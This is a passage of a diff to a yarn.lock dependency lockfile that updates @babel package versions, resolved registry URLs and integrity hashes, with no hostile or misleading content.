-  integrity sha512-5pTUx3hAJaZIdW99sJ6ZUUgWq/Y+Hja7TowEnLNMm1VivRgZQL3vpBY3qUACVsvw+yQU6+YgfBVmcbLaZtrA1w==
-
-"@babel/helper-string-parser@^7.22.5":
-  version "7.22.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-string-parser/-/helper-string-parser-7.22.5.tgz#533f36457a25814cf1df6488523ad547d784a99f"
-  integrity sha512-mM4COjgZox8U+JcXQwPijIZLElkgEpO5rsERVDJTc2qfCDfERyob6k5WegS14SX18IIjv+XD+GrqNumY5JRCDw==
-
-"@babel/helper-string-parser@^7.23.4", "@babel/helper-string-parser@^7.24.1":
-  version "7.24.1"
-  resolved "https://registry.yarnpkg.com/@babel/helper-string-parser/-/helper-string-parser-7.24.1.tgz#f99c36d3593db9540705d0739a1f10b5e20c696e"
-  integrity sha512-2ofRCjnnA9y+wk8b9IAREroeUP02KHp431N2mhKniy2yKIDKpbrHv9eXwm8cBeWQYcJmzv5qKCu65P47eCF7CQ==
-
-"@babel/helper-validator-identifier@^7.18.6", "@babel/helper-validator-identifier@^7.19.1":
-  version "7.19.1"
-  resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.19.1.tgz#7eea834cf32901ffdc1a7ee555e2f9c27e249ca2"
-  integrity sha512-awrNfaMtnHUr653GgGEs++LlAvW6w+DcPrOliSMXWCKo597CwL5Acf/wWdNkf/tfEQE3mjkeD1YOVZOUV/od1w==
-
-"@babel/helper-validator-identifier@^7.22.20":
-  version "7.22.20"
-  resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.22.20.tgz#c4ae002c61d2879e724581d96665583dbc1dc0e0"
-  integrity sha512-Y4OZ+ytlatR8AI+8KZfKuL5urKp7qey08ha31L8b3BwewJAoJamTzyvxPR/5D+KkdJCGPq/+8TukHBlY10FX9A==
+"@babel/helper-validator-identifier@^7.19.1", "@babel/helper-validator-identifier@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.25.9.tgz"
+  integrity sha512-Ed61U6XJc3CVRfkERJWDz4dJwKe7iLmmJsbOGu9wSloNSFttHV0I8g6UAgb7qnK5ly5bGLPd4oXZlxCdANBOWQ==
 
 "@babel/helper-validator-identifier@^7.22.5":
   version "7.22.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.22.5.tgz#9544ef6a33999343c8740fa51350f30eeaaaf193"
+  resolved "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.22.5.tgz"
   integrity sha512-aJXu+6lErq8ltp+JhkJUfk1MTGyuA4v7f3pA+BJ5HLfNC6nAQ0Cpi9uOquUj8Hehg0aUiHzWQbOVJGao6ztBAQ==
 
-"@babel/helper-validator-identifier@^7.24.5":
-  version "7.24.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.24.5.tgz#918b1a7fa23056603506370089bd990d8720db62"
-  integrity sha512-3q93SSKX2TWCG30M2G2kwaKeTYgEUp5Snjuj8qm729SObL6nbtUldAi37qbxkD5gg3xnBio+f9nqpSepGZMvxA==
+"@babel/helper-validator-identifier@^7.24.7":
+  version "7.24.7"
+  resolved "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.24.7.tgz"
+  integrity sha512-rR+PBcQ1SMQDDyF6X0wxtG8QyLCgUB0eRAGguqRLfkCA87l7yAP7ehq8SNj96OOGTO8OBV70KhuFYcIkHXOg0w==
 
-"@babel/helper-validator-option@^7.18.6":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/helper-validator-option/-/helper-validator-option-7.18.6.tgz#bf0d2b5a509b1f336099e4ff36e1a63aa5db4db8"
-  integrity sha512-XO7gESt5ouv/LRJdrVjkShckw6STTaB7l9BrpBaAHDeF5YZT+01PCwmR0SJHnkW6i8OwW/EVWRShfi4j2x+KQw==
-
-"@babel/helper-validator-option@^7.21.0":
-  version "7.21.0"
-  resolved "https://registry.yarnpkg.com/@babel/helper-validator-option/-/helper-validator-option-7.21.0.tgz#8224c7e13ace4bafdc4004da2cf064ef42673180"
-  integrity sha512-rmL/B8/f0mKS2baE9ZpyTcTavvEuWhTTW8amjzXNvYG4AwBsqTLikfXsEofsJEfKHf+HQVQbFOHy6o+4cnC/fQ==
+"@babel/helper-validator-identifier@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.27.1.tgz#a7054dcc145a967dd4dc8fee845a57c1316c9df8"
+  integrity sha512-D2hP9eA+Sqx1kBZgzxZh0y1trbuU+JoDkiEwqhQ36nodYqJwyEIhPSdMNd7lOm/4io72luTPWH20Yda0xOuUow==
 
 "@babel/helper-validator-option@^7.22.5":
   version "7.22.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-validator-option/-/helper-validator-option-7.22.5.tgz#de52000a15a177413c8234fa3a8af4ee8102d0ac"
+  resolved "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.22.5.tgz"
   integrity sha512-R3oB6xlIVKUnxNUxbmgq7pKjxpru24zlimpE8WK47fACIlM0II/Hm1RS8IaOI7NgCr6LNS+jl5l75m20npAziw==
 
-"@babel/helper-validator-option@^7.23.5":
-  version "7.23.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-validator-option/-/helper-validator-option-7.23.5.tgz#907a3fbd4523426285365d1206c423c4c5520307"
-  integrity sha512-85ttAOMLsr53VgXkTbkx8oA6YTfT4q7/HzXSLEYmjcSTJPMPQtvq1BD79Byep5xMUYbGRzEpDsjUf3dyp54IKw==
+"@babel/helper-validator-option@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.25.9.tgz"
+  integrity sha512-e/zv1co8pp55dNdEcCynfj9X7nyUKUXoUEwfXqaZt0omVOmDe9oOTdKStH4GmAw6zxMFs50ZayuMfHDKlO7Tfw==
+
+"@babel/helper-validator-option@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz#fa52f5b1e7db1ab049445b421c4471303897702f"
+  integrity sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==
 
-"@babel/helper-wrap-function@^7.18.9":
-  version "7.20.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-wrap-function/-/helper-wrap-function-7.20.5.tgz#75e2d84d499a0ab3b31c33bcfe59d6b8a45f62e3"
-  integrity sha512-bYMxIWK5mh+TgXGVqAtnu5Yn1un+v8DDZtqyzKRLUzrh70Eal2O3aZ7aPYiMADO4uKlkzOiRiZ6GX5q3qxvW9Q==
+"@babel/helper-wrap-function@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.25.9.tgz"
+  integrity sha512-ETzz9UTjQSTmw39GboatdymDq4XIQbR8ySgVrylRhPOFpsd+JrKHIuF0de7GCWmem+T4uC5z7EZguod7Wj4A4g==
   dependencies:
-    "@babel/helper-function-name" "^7.19.0"
-    "@babel/template" "^7.18.10"
-    "@babel/traverse" "^7.20.5"
-    "@babel/types" "^7.20.5"
+    "@babel/template" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+    "@babel/types" "^7.25.9"
 
 "@babel/helpers@^7.2.0":
   version "7.19.0"
-  resolved "https://registry.yarnpkg.com/@babel/helpers/-/helpers-7.19.0.tgz#f30534657faf246ae96551d88dd31e9d1fa1fc18"
+  resolved "https://registry.npmjs.org/@babel/helpers/-/helpers-7.19.0.tgz"
   integrity sha512-DRBCKGwIEdqY3+rPJgG/dKfQy9+08rHIAJx8q2p+HSWP87s2HCrQmaAMMyMll2kIXKCW0cO1RdQskx15Xakftg==
   dependencies:
     "@babel/template" "^7.18.10"
     "@babel/traverse" "^7.19.0"
     "@babel/types" "^7.19.0"
 
-"@babel/helpers@^7.24.5":
-  version "7.24.5"
-  resolved "https://registry.yarnpkg.com/@babel/helpers/-/helpers-7.24.5.tgz#fedeb87eeafa62b621160402181ad8585a22a40a"
-  integrity sha512-CiQmBMMpMQHwM5m01YnrM6imUG1ebgYJ+fAIW4FZe6m4qHTPaRHti+R8cggAwkdz4oXhtO4/K9JWlh+8hIfR2Q==
+"@babel/helpers@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.npmjs.org/@babel/helpers/-/helpers-7.26.0.tgz"
+  integrity sha512-tbhNuIxNcVb21pInl3ZSjksLCvgdZy9KwJ8brv993QtIVKJBBkYXz4q4ZbAv31GdnC+R90np23L5FbEBlthAEw==
   dependencies:
-    "@babel/template" "^7.24.0"
-    "@babel/traverse" "^7.24.5"
-    "@babel/types" "^7.24.5"
+    "@babel/template" "^7.25.9"
+    "@babel/types" "^7.26.0"
 
-"@babel/highlight@^7.18.6":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/highlight/-/highlight-7.18.6.tgz#81158601e93e2563795adcbfbdf5d64be3f2ecdf"
-  integrity sha512-u7stbOuYjaPezCuLj29hNW1v64M2Md2qupEKP1fHc7WdOA3DgLh37suiSrZYY7haUB7iBeQZ9P1uiRF359do3g==
+"@babel/helpers@^7.26.10":
+  version "7.27.0"
+  resolved "https://registry.npmjs.org/@babel/helpers/-/helpers-7.27.0.tgz"
+  integrity sha512-U5eyP/CTFPuNE3qk+WZMxFkp/4zUzdceQlfzf7DdGdhp+Fezd7HD+i8Y24ZuTMKX3wQBld449jijbGq6OdGNQg==
   dependencies:
-    "@babel/helper-validator-identifier" "^7.18.6"
-    chalk "^2.0.0"
-    js-tokens "^4.0.0"
+    "@babel/template" "^7.27.0"
+    "@babel/types" "^7.27.0"
+
+"@babel/helpers@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helpers/-/helpers-7.27.1.tgz#ffc27013038607cdba3288e692c3611c06a18aa4"
+  integrity sha512-FCvFTm0sWV8Fxhpp2McP5/W53GPllQ9QeQ7SiqGWjMf/LVG07lFa5+pgK05IRhVwtvafT22KF+ZSnM9I545CvQ==
+  dependencies:
+    "@babel/template" "^7.27.1"
+    "@babel/types" "^7.27.1"
 
 "@babel/highlight@^7.22.5":
   version "7.22.5"
-  resolved "https://registry.yarnpkg.com/@babel/highlight/-/highlight-7.22.5.tgz#aa6c05c5407a67ebce408162b7ede789b4d22031"
+  resolved "https://registry.npmjs.org/@babel/highlight/-/highlight-7.22.5.tgz"
   integrity sha512-BSKlD1hgnedS5XRnGOljZawtag7H1yPfQp0tdNJCHoH6AZ+Pcm9VvkrK59/Yy593Ypg0zMxH2BxD1VPYUQ7UIw==
   dependencies:
     "@babel/helper-validator-identifier" "^7.22.5"
     chalk "^2.0.0"
     js-tokens "^4.0.0"
 
-"@babel/highlight@^7.24.2":
-  version "7.24.2"
-  resolved "https://registry.yarnpkg.com/@babel/highlight/-/highlight-7.24.2.tgz#3f539503efc83d3c59080a10e6634306e0370d26"
-  integrity sha512-Yac1ao4flkTxTteCDZLEvdxg2fZfz1v8M4QpaGypq/WPDqg3ijHYbDfs+LG5hvzSoqaSZ9/Z9lKSP3CjZjv+pA==
+"@babel/highlight@^7.24.7":
+  version "7.24.7"
+  resolved "https://registry.npmjs.org/@babel/highlight/-/highlight-7.24.7.tgz"
+  integrity sha512-EStJpq4OuY8xYfhGVXngigBJRWxftKX9ksiGDnmlY3o7B/V7KIAc9X4oiK87uPJSc/vs5L869bem5fhZa8caZw==
   dependencies:
-    "@babel/helper-validator-identifier" "^7.22.20"
+    "@babel/helper-validator-identifier" "^7.24.7"
     chalk "^2.4.2"
     js-tokens "^4.0.0"
     picocolors "^1.0.0"
 
-"@babel/parser@^7.1.0", "@babel/parser@^7.14.7", "@babel/parser@^7.18.10", "@babel/parser@^7.19.1", "@babel/parser@^7.2.0":
-  version "7.19.1"
-  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.19.1.tgz#6f6d6c2e621aad19a92544cc217ed13f1aac5b4c"
-  integrity sha512-h7RCSorm1DdTVGJf3P2Mhj3kdnkmF/EiysUkzS2TdgAYqyjFdMQJbVuXOBej2SBJaXan/lIVtT6KkGbyyq753A==
-
-"@babel/parser@^7.1.6", "@babel/parser@^7.24.4":
-  version "7.24.4"
-  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.24.4.tgz#234487a110d89ad5a3ed4a8a566c36b9453e8c88"
-  integrity sha512-zTvEBcghmeBma9QIGunWevvBAp4/Qu9Bdq+2k0Ot4fVMD6v3dsC9WOcRSKk7tRRyBM/53yKMJko9xOatGQAwSg==
-
-"@babel/parser@^7.18.6":
-  version "7.19.3"
-  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.19.3.tgz#8dd36d17c53ff347f9e55c328710321b49479a9a"
-  integrity sha512-pJ9xOlNWHiy9+FuFP09DEAFbAn4JskgRsVcc169w2xRBC3FRGuQEwjeIMMND9L2zc0iEhO/tGv4Zq+km+hxNpQ==
+"@babel/parser@^7.1.0", "@babel/parser@^7.14.7", "@babel/parser@^7.2.0", "@babel/parser@^7.20.15", "@babel/parser@^7.26", "@babel/parser@^7.26.0", "@babel/parser@^7.26.10", "@babel/parser@^7.26.3", "@babel/parser@^7.27.0":
+  version "7.27.0"
+  resolved "https://registry.npmjs.org/@babel/parser/-/parser-7.27.0.tgz"
+  integrity sha512-iaepho73/2Pz7w2eMS0Q5f83+0RKI7i4xmiYeBmDzfRVbQtTOG7Ts0S4HzJVsTMGI9keU8rNfuZr8DKfSt7Yyg==
+  dependencies:
+    "@babel/types" "^7.27.0"
 
 "@babel/parser@^7.20.7":
   version "7.21.2"
-  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.21.2.tgz#dacafadfc6d7654c3051a66d6fe55b6cb2f2a0b3"
+  resolved "https://registry.npmjs.org/@babel/parser/-/parser-7.21.2.tgz"
   integrity sha512-URpaIJQwEkEC2T9Kn+Ai6Xe/02iNaVCuT/PtoRz3GPVJVDpPd7mLo+VddTbhCRU9TXqW5mSrQfXZyi8kDKOVpQ==
 
-"@babel/parser@^7.21.9":
-  version "7.22.4"
-  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.22.4.tgz#a770e98fd785c231af9d93f6459d36770993fb32"
-  integrity sha512-VLLsx06XkEYqBtE5YGPwfSGwfrjnyPP5oiGty3S8pQLFDFLaS8VwWSIxkTXpcvr5zeYLE6+MBNl2npl/YnfofA==
-
-"@babel/parser@^7.22.5":
-  version "7.22.7"
-  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.22.7.tgz#df8cf085ce92ddbdbf668a7f186ce848c9036cae"
-  integrity sha512-7NF8pOkHP5o2vpmGgNGcfAeCvOYhGLyA3Z4eBQkT1RJlWu47n63bCs93QfJ2hIAFCil7L5P2IWhs1oToVgrL0Q==
+"@babel/parser@^7.23.9", "@babel/parser@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.27.1.tgz#c55d5bed74449d1223701f1869b9ee345cc94cc9"
+  integrity sha512-I0dZ3ZpCrJ1c04OqlNsQcKiZlsrXf/kkE4FXzID9rIOYICsAbA8mMDzhW/luRNAHdCNt7os/u8wenklZDlUVUQ==
+  dependencies:
+    "@babel/types" "^7.27.1"
 
-"@babel/parser@^7.24.0":
-  version "7.24.1"
-  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.24.1.tgz#1e416d3627393fab1cb5b0f2f1796a100ae9133a"
-  integrity sha512-Zo9c7N3xdOIQrNip7Lc9wvRPzlRtovHVE4lkz8WEDr7uYh/GMQhSiIgFxGIArRHYdJE5kxtZjAf8rT0xhdLCzg==
+"@babel/parser@^7.24.4":
+  version "7.24.4"
+  resolved "https://registry.npmjs.org/@babel/parser/-/parser-7.24.4.tgz"
+  integrity sha512-zTvEBcghmeBma9QIGunWevvBAp4/Qu9Bdq+2k0Ot4fVMD6v3dsC9WOcRSKk7tRRyBM/53yKMJko9xOatGQAwSg==
 
-"@babel/parser@^7.24.5":
-  version "7.24.5"
-  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.24.5.tgz#4a4d5ab4315579e5398a82dcf636ca80c3392790"
-  integrity sha512-EOv5IK8arwh3LI47dz1b0tKUb/1uhHAnHJOrjgtQMIpu1uXd9mlFrJg9IUgGUgZ41Ch0K8REPTYpO7B76b4vJg==
+"@babel/parser@^7.28.6":
+  version "7.28.6"
+  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.28.6.tgz#f01a8885b7fa1e56dd8a155130226cd698ef13fd"
+  integrity sha512-TeR9zWR18BvbfPmGbLampPMW+uW1NZnJlRuuHso8i87QZNq2JRF9i6RgxRqtEq+wQGsS19NNTWr2duhnE49mfQ==
+  dependencies:
+    "@babel/types" "^7.28.6"
 
 "@babel/parser@^7.7.4":
   version "7.21.4"
-  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.21.4.tgz#94003fdfc520bbe2875d4ae557b43ddb6d880f17"
+  resolved "https://registry.npmjs.org/@babel/parser/-/parser-7.21.4.tgz"
   integrity sha512-alVJj7k7zIxqBZ7BTRhz0IqJFxW1VJbm6N8JbcYhQ186df9ZBPbZBmWSqAMXwHGsCJdYks7z/voa3ibiS5bCIw==
 
-"@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@^7.18.6":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.18.6.tgz#da5b8f9a580acdfbe53494dba45ea389fb09a4d2"
-  integrity sha512-Dgxsyg54Fx1d4Nge8UnvTrED63vrwOdPmyvPzlNN/boaliRP54pm3pGzZD1SJUwrBA+Cs/xdG8kXX6Mn/RfISQ==
+"@babel/plugin-bugfix-firefox-class-in-computed-class-key@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-bugfix-firefox-class-in-computed-class-key/-/plugin-bugfix-firefox-class-in-computed-class-key-7.25.9.tgz"
+  integrity sha512-ZkRyVkThtxQ/J6nv3JFYv1RYY+JT5BvU0y3k5bWrmuG4woXypRa4PXmm9RhOwodRkYFWqC0C0cqcJ4OqR7kW+g==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.18.6"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
 
-"@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@^7.22.3":
-  version "7.22.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.22.3.tgz#a75be1365c0c3188c51399a662168c1c98108659"
-  integrity sha512-6r4yRwEnorYByILoDRnEqxtojYKuiIv9FojW2E8GUKo9eWBwbKcd9IiZOZpdyXc64RmyGGyPu3/uAcrz/dq2kQ==
+"@babel/plugin-bugfix-safari-class-field-initializer-scope@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-bugfix-safari-class-field-initializer-scope/-/plugin-bugfix-safari-class-field-initializer-scope-7.25.9.tgz"
+  integrity sha512-MrGRLZxLD/Zjj0gdU15dfs+HH/OXvnw/U4jJD8vpcP2CJQapPEv1IWwjc/qMg7ItBlPwSv1hRBbb7LeuANdcnw==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.21.5"
-    "@babel/helper-skip-transparent-expression-wrappers" "^7.20.0"
-    "@babel/plugin-transform-optional-chaining" "^7.22.3"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-proposal-private-methods@^7.18.6":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.18.6.tgz#5209de7d213457548a98436fa2882f52f4be6bea"
-  integrity sha512-nutsvktDItsNn4rpGItSNV2sz1XwS+nfU0Rg8aCx3W3NOKVzdMjJRu0O5OkgDp3ZGICSTbgRpxZoWsxoKRvbeA==
+"@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.25.9.tgz"
+  integrity sha512-2qUwwfAFpJLZqxd02YW9btUCZHl+RFvdDkNfZwaIJrvB8Tesjsk8pEQkTvGwZXLqXUx/2oyY3ySRhm6HOXuCug==
   dependencies:
-    "@babel/helper-create-class-features-plugin" "^7.18.6"
-    "@babel/helper-plugin-utils" "^7.18.6"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-proposal-private-property-in-object@^7.21.0":
-  version "7.21.10"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.21.10.tgz#861ab9c7d152291c47d27838867f27c560f562c4"
-  integrity sha512-3YybmT8FN4sZFXp0kTr9Gbu90wAIhC3feNung+qcRQ1wALGoSHgOz1c+fR3ZLGZ0LXqIpYmtE6Faua6tMDarUg==
+"@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.25.9.tgz"
+  integrity sha512-6xWgLZTJXwilVjlnV7ospI3xi+sl8lN8rXXbBD6vYn3UYDlGsag8wrZkKcSI8G6KgqKP7vNFaDgeDnfAABq61g==
   dependencies:
-    "@babel/helper-annotate-as-pure" "^7.18.6"
-    "@babel/helper-create-class-features-plugin" "^7.21.0"
-    "@babel/helper-plugin-utils" "^7.20.2"
-    "@babel/plugin-syntax-private-property-in-object" "^7.14.5"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.25.9"
+    "@babel/plugin-transform-optional-chaining" "^7.25.9"
 
-"@babel/plugin-proposal-unicode-property-regex@^7.4.4":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.18.6.tgz#af613d2cd5e643643b65cded64207b15c85cb78e"
-  integrity sha512-2BShG/d5yoZyXZfVePH91urL5wTG6ASZU9M4o03lKK8u8UW1y08OMttBSOADTcJrnPMpvDXRG3G8fyLh4ovs8w==
+"@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly/-/plugin-bugfix-v8-static-class-fields-redefine-readonly-7.25.9.tgz"
+  integrity sha512-aLnMXYPnzwwqhYSCyXfKkIkYgJ8zv9RK+roo9DkTXz38ynIhd9XCbN08s3MGvqL2MYGVUGdRQLL/JqBIeJhJBg==
   dependencies:
-    "@babel/helper-create-regexp-features-plugin" "^7.18.6"
-    "@babel/helper-plugin-utils" "^7.18.6"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+
+"@babel/plugin-proposal-private-property-in-object@7.21.0-placeholder-for-preset-env.2":
+  version "7.21.0-placeholder-for-preset-env.2"
+  resolved "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.21.0-placeholder-for-preset-env.2.tgz"
+  integrity sha512-SOSkfJDddaM7mak6cPEpswyTRnuRltl429hMraQEglW+OkovnCzsiszTmsrlY//qLFjCpQDFRvjdm2wA5pPm9w==
 
 "@babel/plugin-syntax-async-generators@^7.8.4":
   version "7.8.4"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz#a983fb1aeb2ec3f6ed042a210f640e90e786fe0d"
+  resolved "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz"
   integrity sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==
   dependencies:
     "@babel/helper-plugin-utils" "^7.8.0"
 
 "@babel/plugin-syntax-bigint@^7.8.3":
   version "7.8.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz#4c9a6f669f5d0cdf1b90a1671e9a146be5300cea"
+  resolved "https://registry.npmjs.org/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz"
   integrity sha512-wnTnFlG+YxQm3vDxpGE57Pj0srRU4sHE/mDkt1qv2YJJSeUAec2ma4WLUnUPeKjyrfntVwe/N6dCXpU+zL3Npg==
   dependencies:
     "@babel/helper-plugin-utils" "^7.8.0"
 
-"@babel/plugin-syntax-class-properties@^7.0.0", "@babel/plugin-syntax-class-properties@^7.12.13", "@babel/plugin-syntax-class-properties@^7.8.3":
+"@babel/plugin-syntax-class-properties@^7.0.0", "@babel/plugin-syntax-class-properties@^7.8.3":
   version "7.12.13"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz#b5c987274c4a3a82b89714796931a6b53544ae10"
+  resolved "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz"
   integrity sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==
   dependencies:
     "@babel/helper-plugin-utils" "^7.12.13"
 
-"@babel/plugin-syntax-class-static-block@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz#195df89b146b4b78b3bf897fd7a257c84659d406"
-  integrity sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-syntax-dynamic-import@^7.8.3":
-  version "7.8.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz#62bf98b2da3cd21d626154fc96ee5b3cb68eacb3"
-  integrity sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-export-namespace-from@^7.8.3":
-  version "7.8.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-export-namespace-from/-/plugin-syntax-export-namespace-from-7.8.3.tgz#028964a9ba80dbc094c915c487ad7c4e7a66465a"
-  integrity sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.3"
-
 "@babel/plugin-syntax-flow@^7.18.6", "@babel/plugin-syntax-flow@^7.7.4":
   version "7.21.4"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-flow/-/plugin-syntax-flow-7.21.4.tgz#3e37fca4f06d93567c1cd9b75156422e90a67107"
+  resolved "https://registry.npmjs.org/@babel/plugin-syntax-flow/-/plugin-syntax-flow-7.21.4.tgz"
   integrity sha512-l9xd3N+XG4fZRxEP3vXdK6RW7vN1Uf5dxzRC/09wV86wqZ/YYQooBIGNsiRdfNR3/q2/5pPzV4B54J/9ctX5jw==
   dependencies:
     "@babel/helper-plugin-utils" "^7.20.2"
 
 "@babel/plugin-syntax-flow@^7.22.5":
   version "7.22.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-flow/-/plugin-syntax-flow-7.22.5.tgz#163b820b9e7696ce134df3ee716d9c0c98035859"
+  resolved "https://registry.npmjs.org/@babel/plugin-syntax-flow/-/plugin-syntax-flow-7.22.5.tgz"
   integrity sha512-9RdCl0i+q0QExayk2nOS7853w08yLucnnPML6EN9S8fgMPVtdLDCdx/cOQ/i44Lb9UeQX9A35yaqBBOMMZxPxQ==
   dependencies:
     "@babel/helper-plugin-utils" "^7.22.5"
 
-"@babel/plugin-syntax-import-assertions@^7.20.0":
-  version "7.20.0"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.20.0.tgz#bb50e0d4bea0957235390641209394e87bdb9cc4"
-  integrity sha512-IUh1vakzNoWalR8ch/areW7qFopR2AEw03JlG7BbrDqmQ4X3q9uuipQwSGrUn7oGiemKjtSLDhNtQHzMHr1JdQ==
+"@babel/plugin-syntax-import-assertions@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.npmjs.org/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.26.0.tgz"
+  integrity sha512-QCWT5Hh830hK5EQa7XzuqIkQU9tT/whqbDz7kuaZMHFl1inRRg7JnuAEOQ0Ur0QUl0NufCk1msK2BeY79Aj/eg==
   dependencies:
